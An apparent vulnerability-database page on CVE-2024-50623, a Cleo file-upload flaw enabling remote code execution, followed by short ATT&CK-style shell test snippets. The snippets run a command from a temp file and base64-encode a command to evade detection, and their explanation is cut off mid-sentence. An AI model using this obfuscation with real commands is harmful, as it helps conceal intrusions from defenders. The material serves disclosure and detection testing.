CVE-2024-50623

CRITICAL CISA KEV EXPLOIT POC TTE 43d Pub 27/10 Upd 07/10

Overview

This vulnerability is an unrestricted file upload and download flaw affecting Cleo Harmony, VLTrader, and LexiCom products prior to version 5.8.0.21. The root cause lies in insufficient validation and access controls on file handling components, allowing attackers to upload arbitrary files and retrieve them without restriction. The affected feature is the file management functionality responsible for processing user-supplied files.

Vulnerability Description

In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.

Impact

An unauthenticated attacker can upload malicious files and execute arbitrary code on the affected systems, resulting in full system compromise. This enables unauthorized access to sensitive data, lateral movement within the network, and persistent control over the environment. The absence of authentication or user interaction requirements significantly lowers the barrier for exploitation, increasing the likelihood of targeted attacks and data breaches.

Solution

Cleo has released updated versions 5.8.0.21 and later for Harmony, VLTrader, and LexiCom addressing this vulnerability. Users should upgrade to these patched versions as detailed in the Cleo Product Security Advisory at https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory. No specific workarounds are provided; applying the vendor-supplied patches is the recommended remediation step.

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 Obfuscated command line scripts Linux Shell

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...

Command (Shell)

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
